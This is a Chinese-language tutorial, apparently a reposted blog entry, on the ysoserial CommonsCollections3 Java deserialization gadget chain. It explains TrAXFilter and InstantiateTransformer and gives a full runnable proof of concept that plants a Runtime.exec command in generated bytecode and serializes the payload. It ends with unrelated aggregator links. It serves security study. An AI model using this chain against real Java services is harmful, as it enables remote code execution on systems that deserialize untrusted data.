JAVA反序列化学习-CommonsCollections3(基于ysoserial)

news/2024/11/19 11:10:39/文章来源:https://www.cnblogs.com/erosion2020/p/18554451

环境准备

JDK1.7(7u80)、commons-collections(3.x 4.x均可这里使用3.2版本)

JDK:https://repo.huaweicloud.com/java/jdk/7u80-b15/jdk-7u80-windows-x64.exe

<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2</version>
</dependency>

因为这里用到了Proxy,所以JDK8新版本中不可用,在CC5中提到了一种新的利用方式,可以不通过Proxy来调用。

正文

CC3 攻击链的关键在于利用 TemplatesChainedTransformerConstantTransformerInstantiateTransformer类来形成一系列的反射调用,最终触发恶意类的加载或执行。

本质上来说CC3攻击链条是CC2中的Templates部分+CC1中的Proxy部分,所以大家都说CC3是CC1和CC2的变种写法。其实CC攻击链并非只有一种固定写法,可以通过多种写法的结合来完成新的攻击链,当把ysoserial中的CC链学完之后,就可以自己尝试自由组合。

CC3中多了几个类:

TrAXFilter

TrAXFilter 类是 Java 中 XML 处理相关的一个类,属于 Java XML API 的一部分。它主要用于过滤和处理 XML 数据流。TrAXFilter 实现了 javax.xml.transform.sax.SAXResult 接口,提供了对 XML 数据流的接收、处理和转换能力。在一些利用中,特别是在 Java 反序列化漏洞的利用链(如 CC3)中,TrAXFilter 被用作利用链的一部分,因为它的构造函数涉及到了 Templates 类对象,并且其操作可以被利用来执行恶意代码。

CC3中的应用

配合 ChainedTransformer 在 CC3 中,TrAXFilter 通常与 ChainedTransformer 类结合使用。ChainedTransformer 允许多个 Transformer 被顺序调用,从而达到多层嵌套和最终执行恶意操作的效果。TrAXFilter 是作为其中一个 Transformer 使用的,它的构造函数需要传入 Templates 对象,而 Templates 可以携带恶意字节码。

执行恶意代码: 当反序列化触发时,构造的 TrAXFilter 会被激活,并且它会通过 Templates 生成恶意的 XML 转换过程。具体来说,TrAXFilter 作为一个过滤器,可以与 Templates 类结合,完成从普通 XML 到恶意命令的转换。这就允许通过 XML 数据流来触发恶意代码的执行。

关键代码

public class TrAXFilter extends XMLFilterImpl {private Templates              _templates;private TransformerImpl        _transformer;private TransformerHandlerImpl _transformerHandler;private boolean _overrideDefaultParser;// 构造函数接收一个Templates参数public TrAXFilter(Templates templates)  throwsTransformerConfigurationException{_templates = templates;// 执行templates的newTransformer方法,而newTransformer就是CC2链中提到的最终执行恶意代码的逻辑_transformer = (TransformerImpl) templates.newTransformer();_transformerHandler = new TransformerHandlerImpl(_transformer);_overrideDefaultParser = _transformer.overrideDefaultParser();}
}

InstantiateTransformer

有了上述 gadget ,接下来的重点就是需要我们实例化这个 TrAXFilter,实例化我们当然可以使用 InvokerTransformer 反射拿到 Constructor 再 newInstance,但是同样地可以直接使用另外一个 Transformer:InstantiateTransformer。

Commons Collections 提供了 InstantiateTransformer 用来通过反射创建类的实例,可以看到 transform() 方法实际上接收一个 Class 类型的对象,通过 getConstructor 获取构造方法,并通过 newInstance 创建类实例。

关键代码

public class InstantiateTransformer implements Transformer, Serializable {private final Class[] iParamTypes;private final Object[] iArgs;public InstantiateTransformer(Class[] paramTypes, Object[] args) {this.iParamTypes = paramTypes;this.iArgs = args;}public Object transform(Object input) {......// 获取input的Class对象的构造方法,并调用构造方法创建实例对象// 如果input=TrAXFilter.class,iParamTypes=Templates.class。则最终就能调用到TrAXFilter(Templates templates)Constructor con = ((Class)input).getConstructor(this.iParamTypes);return con.newInstance(this.iArgs);......}
}

基于CC2和CC1的内容,我们可以构造出来以下的POC代码

POC - ysoserial代码

下边的代码还是基于ysoserial的代码的改造版本,不使用ysoserial中的模板代码和工具类,下边的代码可以直接在本地运行。

public class CommonsCollections3 {static String serialFileName = "commons-collections3.ser";public static void main(String[] args) throws Exception {cc3byYsoSerial();verify();}public static void verify() throws Exception {// 本地模拟反序列化FileInputStream fis = new FileInputStream(serialFileName);ObjectInputStream ois = new ObjectInputStream(fis);Object ignore = (Object) ois.readObject();}public static void cc3byYsoSerial() throws Exception {//==========================CC2中的构造Templates的内容 START==========================String executeCode = "Runtime.getRuntime().exec(\"cmd /c start\");";ClassPool pool = ClassPool.getDefault();CtClass evil = pool.makeClass("ysoserial.Evil");// run command in static initializer// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protectionsevil.makeClassInitializer().insertAfter(executeCode);// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)evil.setName("ysoserial.Pwner" + System.nanoTime());CtClass superC = pool.get(AbstractTranslet.class.getName());evil.setSuperclass(superC);final byte[] classBytes = evil.toBytecode();byte[][] trueclassbyte = new byte[][]{classBytes};Class<TemplatesImpl> templatesClass = TemplatesImpl.class;TemplatesImpl templates = TemplatesImpl.class.newInstance();Field bytecodes = templatesClass.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(templates, trueclassbyte);Field name = templatesClass.getDeclaredField("_name");name.setAccessible(true);name.set(templates, "Pwnr");Field tfactory = templatesClass.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates, new TransformerFactoryImpl());//==========================CC2中的构造Templates的内容 END==========================//========================CC3的新增调用方式START==============================// inert chain for setupfinal Transformer transformerChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });// real chain for after setupfinal Transformer[] transformers = new Transformer[] {new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[] { Templates.class },new Object[] { templates } )};//=========================CC3的新增调用方式 END===================================//=========================CC1中的动态代理方式 反序列化触发 START===========================// 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法Class<?> transformer = Class.forName(ChainedTransformer.class.getName());Field iTransformers = transformer.getDeclaredField("iTransformers");iTransformers.setAccessible(true);iTransformers.set(transformerChain, transformers);// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);// 构造动态代理final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];ctor.setAccessible(true);// 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);// 创建LazyMap的动态代理类实例Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);// 使用动态代理初始化 AnnotationInvocationHandlerInvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);//=========================CC1中的动态代理方式 反序列化触发 END===========================FileOutputStream fos = new FileOutputStream(serialFileName);ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(invocationHandler);oos.flush();oos.close();fos.close();}
}

运行效果如下

image-20241119105439855

调用链

调用链就是CC1和CC2的结合版本,如下:

  • ObjectInputStream.readObject()
    • AnnotationInvocationHandler.readObject()
      • Map(Proxy).entrySet()
        • AnnotationInvocationHandler.invoke()
          • LazyMap.get()
            • ChainedTransformer.transform()
              • ConstantTransformer.transform() TrAXFilter
              • InvokerTransformer.transform() Templates
                • TrAXFilter() Templates
                  • TemplatesImpl.newTransformer()
                  • TemplatesImpl.getTransletInstance()
                  • ......
                  • 触发静态代码调用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/836709.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

单变量微积分学习笔记:反函数求导法则(12)【6,9,11】

常用公式 \(\arcsin(x) = \frac{1}{\sqrt{1-x^2}}\) \(\arccos(x) = -\frac{1}{\sqrt{1-x^2}}\) \(\arctan(x) = \frac{1}{1+x^2}\)证明 \(y = \arcsin(x)\) \(\sin(y) = x\) \(\cos(y)y = 1\) \(y = \frac{1}{\cos(y)}\) \(y = \frac{1}{\sqrt{1-\sin^2(y)}}\) \(y = \frac{1}…

计算机网络复习物理层(第二章)

物理层 数据通信的概念回顾数字信号常用编码方式波特率与比特率s:比特率,每秒多少比特 B:波特率,每秒多少码元(指的是每秒调制信号的变化次数) k:多相调制的相数 log2k:一个码元所含二进制比特数 信道复用技术 信道复用有多种,如频分复用、时分复用、波分复用、码分复用…

在Unity实现《Farcry5》 GPU地形

【USparkle专栏】如果你深怀绝技,爱“搞点研究”,乐于分享也博采众长,我们期待你的加入,让智慧的火花碰撞交织,让知识的传递生生不息!一、需求背景开放大世界渲染中,地形的渲染占比较重,包括开发投入、表现效果及性能开销等。而地形Shader部分的性能优化已经做过多版了…

多表关联时过滤条件放在On和Where后面的区别

演示数据库:Mysql 创建表内连接放在On后面SELECT * FROM tb_singer t1 INNER JOIN tb_song t2 ON t1.id=t2.singer_id and t2.`name`=夜曲 WHERE t1.`name`=周杰伦;放在Where后面SELECT * FROM tb_singer t1 INNER JOIN tb_song t2 ON t1.id=t2.singer_id WHERE t1.`name`=周杰…

关于Nginx配置文件的一些知识点

图片中第一段是HTTP的配置,第二段是HTTPS配置。 listen:监听的端口号,可以自己定义。 server_name:自己定义的主机名字 root:本地资源文件的路径,做一个映射 autoindex:开不开启自动索引(文件夹一层一层的索引),一般开发环境下会打开,生产环境会关闭。 add_header:添加头…

Spring之@EnableAsync和@Async

@EnableAsync和@Async 目录@EnableAsync和@Async一、引入二、使用三、源码分析3.1、自动配置@EnableAsync的代理选择3.2、ProxyAsyncConfiguration的自动配置3.3、AsyncAnnotationBeanPostProcessor 初始化3.4、@Asyn注解实现异步的过程 一、引入 前面两个章节分析了@EventList…

你想了解的DDS协议解决方案在这里

作为OPEN联盟的活跃成员与AUTOSAR联盟的高级合作伙伴,经纬恒润致力于为国内外各大OEMs及供应商,提供全面覆盖TCP/IP、SOME/IP、DoIP、AVB、TSN、DDS、MQTT,以及10M、Multi-G等一系列关键技术领域的设计与测试咨询服务。 随着汽车电子电气架构快速演进,车企对车内网络…

VL4AD:让语义分割认识未知类别,无需额外数据和训练的OOD语义分割 | ECCV24

来源:晓飞的算法工程笔记 公众号,转载请注明出处论文: VL4AD: Vision-Language Models Improve Pixel-wise Anomaly Detection论文地址:https://arxiv.org/abs/2409.17330创新性提出VL4AD模型用于解决语义分割网络难以检测来自未知语义类别的异常的问题,避免额外的数据收集…

20222327 2024-2025-1 《网络与系统攻防技术》实验五实验报告

一、实验内容 网络攻击需要搜集的信息包括: 攻击对象的名称和域名;目标网络位置,如IP地址、DNS服务器、外部网络拓扑结构;现实世界中的对应物,如注册信息、电话号段、网络或安全管理员及联系方式、地理位置等;网络地图,包括活跃主机IP、操作系统类型、开放的端口与运行的…

小鸟科技携手纷享销客,共谱CRM国产化替代新篇章

小鸟科技(DigiBird)成立于2009年,是一家专注于全球专业视听领域,为客户提供数字化解决方案的国家高新技术企业。小鸟科技先后在北京、上海、广州、成都、西安、沈阳、济南、南京等多地设立分公司或服务网点,并拥有北京、郑州、南京三大研发团队,成功以自主品牌进入国际市…

LeetCode 2769[找出最大的可达成数字]

LeetCode 2769[找出最大的可达成数字]题目 链接 LeetCode 2769[找出最大的可达成数字] 详情实例提示题解 思路 每一步操作可同时操作 num 和 x ,可同时增加或者减少,若使 num 为最小值,每一步增加 1 个,同时 x 减少一个,则此时的 x 即为最大值 num 减少同时 x 增加,则操作…

王爽汇编笔记(第三版)

1. 测试环境 1.1 DosBox 简介:模拟dos环境的一个软件 下载地址:https://www.dosbox.com/download.php?main=1安装步骤:下一步...... 问题1: debug 不是内部或外部命令,也不是可运行的程序或批处理文件。 debug : 无法将“debug”项识别为 cmdlet、函数、脚本文件或可运行程…